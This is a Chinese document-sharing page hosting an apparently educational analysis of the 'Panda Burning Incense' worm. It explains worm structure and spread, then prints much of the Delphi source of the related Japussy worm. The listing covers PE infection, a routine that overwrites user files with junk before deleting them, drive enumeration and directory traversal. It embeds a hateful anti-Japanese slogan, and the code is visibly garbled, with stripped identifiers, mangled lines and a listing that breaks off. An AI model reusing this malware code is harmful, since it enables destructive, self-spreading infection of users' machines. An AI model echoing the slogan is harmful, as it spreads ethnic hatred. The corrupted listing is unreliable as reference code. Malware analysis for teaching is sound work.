信息安全熊猫烧香病毒剖析Word文档下载推荐.docx
- 文档编号:17466779
- 上传时间:2022-12-01
- 格式:DOCX
- 页数:38
- 大小:1.94MB
信息安全熊猫烧香病毒剖析Word文档下载推荐.docx
《信息安全熊猫烧香病毒剖析Word文档下载推荐.docx》由会员分享,可在线阅读,更多相关《信息安全熊猫烧香病毒剖析Word文档下载推荐.docx(38页珍藏版)》请在冰豆网上搜索。
1)蠕虫定义
2007年1月流行的“熊猫烧香”以及其变种也是蠕虫病毒。
这一病毒利用了微软视窗操作系统的漏洞,计算机感染这一病毒后,会不断自动拨号上网,并利用文件中的地址信息或者网络共享进行传播,最终破坏用户的大部分重要数据。
蠕虫病毒是自包含的程序(或是一套程序),它能传播它自身功能的拷贝或它的某些部分到其他的计算机系统中(通常是经过网络连接)。
请注意,与一般病毒不同,蠕虫不需要将其自身附着到宿主程序,有两种类型的蠕虫:
主机蠕虫与网络蠕虫。
主计算机蠕虫完全包含在它们运行的计算机中,并且使用网络的连接仅将自身拷贝到其他的计算机中,主计算机蠕虫在将其自身的拷贝加入到另外的主机后,就会终止它自身(因此在任意给定的时刻,只有一个蠕虫的拷贝运行),这种蠕虫有时也叫"
野兔"
。
蠕虫一般不采取利用pe格式插入文件的方法,而是复制自身在互联网环境下进行传播,病毒的传染能力主要是针对计算机内的文件系统而言,而蠕虫病毒的传染目标是互联网内的所有计算机。
局域网条件下的共享文件夹,电子邮件email,网络中的恶意网页,大量存在着漏洞的服务器等都成为蠕虫传播的良好途径。
蠕虫和传统病毒的区别:
∙传统病毒主要攻击的是文件系统,在其传染的过程中,计算机使用者是传染的触发者,是传染的关键环节,使用者计算机知识水平的高低常常决定了传统病毒所能造成的破坏程度;
∙蠕虫主要是利用计算机系统漏洞进行传染,在搜索到网络中存在漏洞的计算机后,主动进行攻击。
在传染的过程中,与计算机操作者是否进行操作无关,从而与使用者的计算机知识水平无关。
2)蠕虫的基本程序结构
∙传播模块:
负责蠕虫的传播,通过检查主机或远程计算机的地址库,找到可进一步传染的其他计算机。
∙隐藏模块:
侵入主机后,隐藏蠕虫程序,防止被用户发现。
∙目的功能模块:
实现对计算机的控制、监视或破坏等功能。
传播模块由可以分为三个基本模块:
扫描模块、攻击模块和复制模块。
蠕虫程序功能模型也可以扩展为如下的形式:
3)蠕虫程序的一般传播过程
∙扫描:
由蠕虫的扫描功能模块负责探测存在漏洞的主机。
当程序向某个主机发送探测漏洞的信息并收到成功的反馈信息后,就得到一个可传播的对象。
∙攻击:
攻击模块按漏洞攻击步骤自动攻击步骤1中找到的对象,取得该主机的权限(一般为管理员权限),获得一个shell。
∙复制:
复制模块通过原主机和新主机的交互将蠕虫程序复制到新主机并启动。
蠕虫将自身复制到某台计算机之前,也会试图判断该计算机以前是都已被感染过。
在分布式系统中,蠕虫可能会以系统程序名或不易被操作系统察觉的名字来为自己命名,从而伪装自己。
同时,我们也可以看到,传播模块实现的实际上是自动入侵的功能。
所以蠕虫的传播技术是蠕虫技术的首要技术,没有蠕虫的传播技术,也就谈不上什么蠕虫技术了。
“熊猫烧香”蠕虫病毒
1)“熊猫烧香”档案
又名:
尼亚姆、武汉男生、worm.whBoy、worm.nimaya
后又化身为:
“金猪报喜”
病毒类型:
蠕虫病毒
影响系统:
Windows9X/ME/NT/2000/XP/2003/Vista/7
2)“熊猫烧香”病毒特点
2006年底,我国互联网上大规模爆发“熊猫烧香”病毒及其变种,该病毒通过多种方式进行传播,同时该病毒还具有盗取用户游戏账号、QQ账号等功能。
该病毒传播速度快,危害范围广,截至案发为止,已有上百万个人用户、网吧及企业局域网用户遭受感染和破坏,引起社会各界高度关注。
《瑞星2006安全报告》将其列为十大病毒之首,在《2006年度中国计算机病毒疫情和互联网安全报告》的十大病毒排行中一举成为“毒王”。
“熊猫烧香”,是一个感染型的蠕虫病毒,它能感染系统中exe,com,pif,src,html,asp等文件,它还能中止大量的反病毒软件进程并且会删除扩展名为gho的文件,该文件是一系统备份工具GHOST的备份文件,使用户的系统备份文件丢失。
被感染的用户系统中所有.exe可执行文件全部被改成熊猫举着三根香的模样。
“熊猫烧香”源码分析
含有病毒体的文件被运行后,病毒将自身复制至系统目录,同时修改注册表将自身设置为开机启动项,并遍历各个驱动器,将自身写入磁盘根目录下,增加一个Autorun.inf文件,使得用户打开该磁盘时激活病毒体。
随后病毒体创建一个线程进行本地文件感染,同时创建另外一个线程连接网站下载DOS程序发动恶意攻击。
下面,我们分析一下用delphi语言描述的“熊猫烧香”的主要源代码:
programJapussy;
uses
Windows,SysUtils,Classes,Graphics,ShellAPI{,Registry};
const
HeaderSize=82432;
//病毒体的大小
IconOffset=$12EB8;
//PE文件主图标的偏移量
//查找2800000020的十六进制字符串可以找到主图
//标的偏移量
{
HeaderSize=38912;
//Upx压缩过病毒体的大小
IconOffset=$92BC;
//Upx压缩过PE文件主图标的偏移量
//Upx1.24W用法:
upx-9--8086Japussy.exe
}
IconSize=$2E8;
//PE文件主图标的大小--744字节
IconTail=IconOffset+IconSize;
//PE文件主图标的尾部
ID=$44444444;
//感染标记
//垃圾码,以备写入
Catchword='
Ifaraceneedtobekilledout,itmustbeYamato.'
+
'
Ifacountryneedtobedestroyed,itmustbeJapan!
'
***W32.Japussy.Worm.A***'
;
{$R*.RES}
functionRegisterServiceProcess(dwProcessID,dwType:
Integer):
Integer;
stdcall;
external'
Kernel32.dll'
//函数声明
var
TmpFile:
string;
Si:
STARTUPINFO;
Pi:
PROCESS_INFORMATION;
IsJap:
Boolean=False;
//日文操作系统标记
{===============判断是否为Win9x================}
functionIsWin9x:
Boolean;
Ver:
TOSVersionInfo;
begin
Result:
=False;
Ver.dwOSVersionInfoSize:
=SizeOf(TOSVersionInfo);
ifnotGetVersionEx(Ver)then
Exit;
if(Ver.dwPlatformID=VER_PLATFORM_WIN32_WINDOWS)then//Win9x
=True;
end;
{=======================在流之间复制========================}
procedureCopyStream(Src:
TStream;
sStartPos:
Dst:
dStartPos:
Count:
Integer);
sCurPos,dCurPos:
sCurPos:
=Src.Position;
dCurPos:
=Dst.Position;
Src.Seek(sStartPos,0);
Dst.Seek(dStartPos,0);
Dst.CopyFrom(Src,Count);
Src.Seek(sCurPos,0);
Dst.Seek(dCurPos,0);
{==========将宿主文件从已感染的PE文件中分离出来,以备使用======}
procedureExtract:
string);
sStream,dStream:
T;
try
sStream:
=T(ParamStr(0),fmOpenReadorfmShareDenyNone);
dStream:
=T(,fmCreate);
sStream.Seek(HeaderSize,0);
//跳过头部的病毒部分
dStream.CopyFrom(sStream,sStream.Size-HeaderSize);
finally
dStream.Free;
sStream.Free;
except
{===================填充STARTUPINFO结构==================}
procedureFillStartupInfo(varSi:
State:
Word);
Si.cb:
=SizeOf(Si);
Si.lpReserved:
=nil;
Si.lpDesktop:
Si.lpTitle:
Si.dwFlags:
=STARTF_USESHOWWINDOW;
Si.wShowWindow:
=State;
Si.cbReserved2:
=0;
Si.lpReserved2:
{======================发带毒邮件====================}
procedureSendMail;
//此处省略了带危害性代码
{======================感染PE文件====================}
procedureInfectOne:
HdrStream,SrcStream:
IcoStream,DstStream:
TMemoryStream;
iID:
LongInt;
aIcon:
TIcon;
Infected,IsPE:
i:
Buf:
array[0..1]ofChar;
try//出错则文件正在被使用,退出
ifCompareText(,'
JAPUSSY.EXE'
)=0then//是自己则不感染
Infected:
IsPE:
SrcStream:
=T(,fmOpenRead);
fori:
=0to$108do//检查PE文件头
SrcStream.Seek(i,soFromBeginning);
SrcStream.Read(Buf,2);
if(Buf[0]=#80)and(Buf[1]=#69)then//PE标记
//是PE文件
Break;
SrcStream.Seek(-4,soFromEnd);
//检查感染标记
SrcStream.Read(iID,4);
if(iID=ID)or(SrcStream.Size<
10240)then//太小的文件不感染
SrcStream.Free;
ifInfectedor(notIsPE)then//如果感染过了或不是PE文件则退出
IcoStream:
=TMemoryStream.Create;
DstStream:
aIcon:
=TIcon.Create;
//得到被感染文件的主图标(744字节),存入流
aIcon.ReleaseHandle;
aIcon.Handle:
=ExtractIcon(HInstance,PChar(),0);
aIcon.SaveToStream(IcoStream);
aIcon.Free;
//头文件
HdrStream:
//写入病毒体主图标之前的数据
CopyStream(HdrStream,0,DstStream,0,IconOffset);
//写入目前程序的主图标
CopyStream(IcoStream,22,DstStream,IconOffset,IconSize);
//写入病毒体主图标到病毒体尾部之间的数据
CopyStream(HdrStream,IconTail,DstStream,IconTail,HeaderSize-IconTail);
//写入宿主程序
CopyStream(SrcStream,0,DstStream,HeaderSize,SrcStream.Size);
//写入已感染的标记
DstStream.Seek(0,2);
iID:
=$44444444;
DstStream.Write(iID,4);
HdrStream.Free;
IcoStream.Free;
DstStream.SaveTo);
//替换宿主文件
DstStream.Free;
except;
{===================将目标文件写入垃圾码后删除==================}
procedureSmash:
:
i,Size,Mass,Max,Len:
Set(PChar(),0);
//去掉只读属性
:
=(,fmOpenWrite);
//打开文件
Size:
=Get(,nil);
//文件大小
i:
Randomize;
Max:
=Random(15);
//写入垃圾码的随机次数
ifMax<
5then
=5;
Mass:
=SizedivMax;
//每个间隔块的大小
Len:
=Length(Catchword);
whilei<
Maxdo
(,i*Mass,0);
//定位
//写入垃圾码,将文件彻底破坏掉
(,Catchword,Len);
Inc(i);
();
//关闭文件
Delete());
//删除之
{====================获得可写的驱动器列表==================}
functionGetDrives:
DiskType:
Word;
D:
Char;
Str:
=0to25do//遍历26个字母
D:
=Chr(i+65);
Str:
=D+'
\'
DiskType:
=GetDriveType(PChar(Str));
//得到本地磁盘和网络盘
if(DiskType=DRIVE_FIXED)or(DiskType=DRIVE_REMOTE)then
=Result+D;
{====================遍历目录,感染和摧毁文件===================}
procedureLoopFiles(Path,Mask:
i,Count:
Fn,Ext:
SubDir:
TStrings;
SearchRec:
TSearchRec;
Msg:
TMsg;
functionIsValidDir(SearchRec:
TSearchRec):
if(SearchRec.Attr<
>
16)and(SearchRec.Name<
.'
)and
(SearchRec.Name<
..'
)then
=0//不是目录
elseif(SearchRec.Attr=16)and(SearchRec.Name<
=1//不是根目录
elseResult:
=2;
//是根目录
if(FindFirst(Path+Mask,faAnyFile,SearchRec)=0)then
repeat
PeekMessage(Msg,0,0,0,PM_REMOVE);
//调整消息队列,避免引起怀疑
ifIsValidDir(SearchRec)=0then
Fn:
=Path+SearchRec.Name;
Ext:
=UpperCase(Extract(Fn));
if(Ext='
.EXE'
)or(Ext='
.SCR'
InfectOne);
//感染可执行文件
end
elseif(Ext='
.HTM'
.HTML'
.ASP'
//感染HTML和ASP文件,将Base64编码后的病毒写入
//感染浏览此网页的所有用户
elseifExt='
.WAB'
then//Outlook地址簿文件
//获取Outlook邮件地址
.ADC'
then//Foxmail地址自动完成文件
//获取Foxmail邮件地址
IND'
then//Foxmail地址簿文件
else
ifIsJapthen
.DOC'
.XLS'
.MDB'
)or
(Ext='
.MP3'
.RM'
.RA'
.WMA'
.ZIP'
.RAR'
.MPEG'
.ASF'
.JPG'
.JPEG'
.GIF'
.SWF'
.PDF'
.CHM'
.AVI'
Smash);
//摧毁文件
//感染或删除一个文件后睡眠200毫秒,避免CPU占用率过高引起怀疑
Sleep(200);
until(FindNext(SearchRec)<
0);
FindClose(SearchRec);
SubDir:
=TStringList.Create;
if(FindFirst(Path+'
*.*'
faDirectory,SearchRec)=0)then
ifIsValidDir(SearchRec)=1then
SubDir.Add(SearchRec.Name);
Count:
=SubDir.Count-1;
=0toCountdo
LoopFiles(Path+SubDir.Strings+'
Mask);
FreeAndNil(SubDir);
//子过程是对典型遍历本机中所有可用盘中所有子目录下的所有子目录下的所有文件实施相应操作的编码。
在确定当前文件为可执行文件(仅针对.exe和.scr文件)后,调用子过程InfectOneFile进行特定的感染。
{====================遍历磁盘上所有的文件=======
- 配套讲稿:
如PPT文件的首页显示word图标,表示该PPT已包含配套word讲稿。双击word图标可打开word文档。
- 特殊限制:
部分文档作品中含有的国旗、国徽等图片,仅作为作品整体效果示例展示,禁止商用。设计者仅对作品中独创性部分享有著作权。
- 关 键 词:
- 信息 安全 熊猫 烧香 病毒 剖析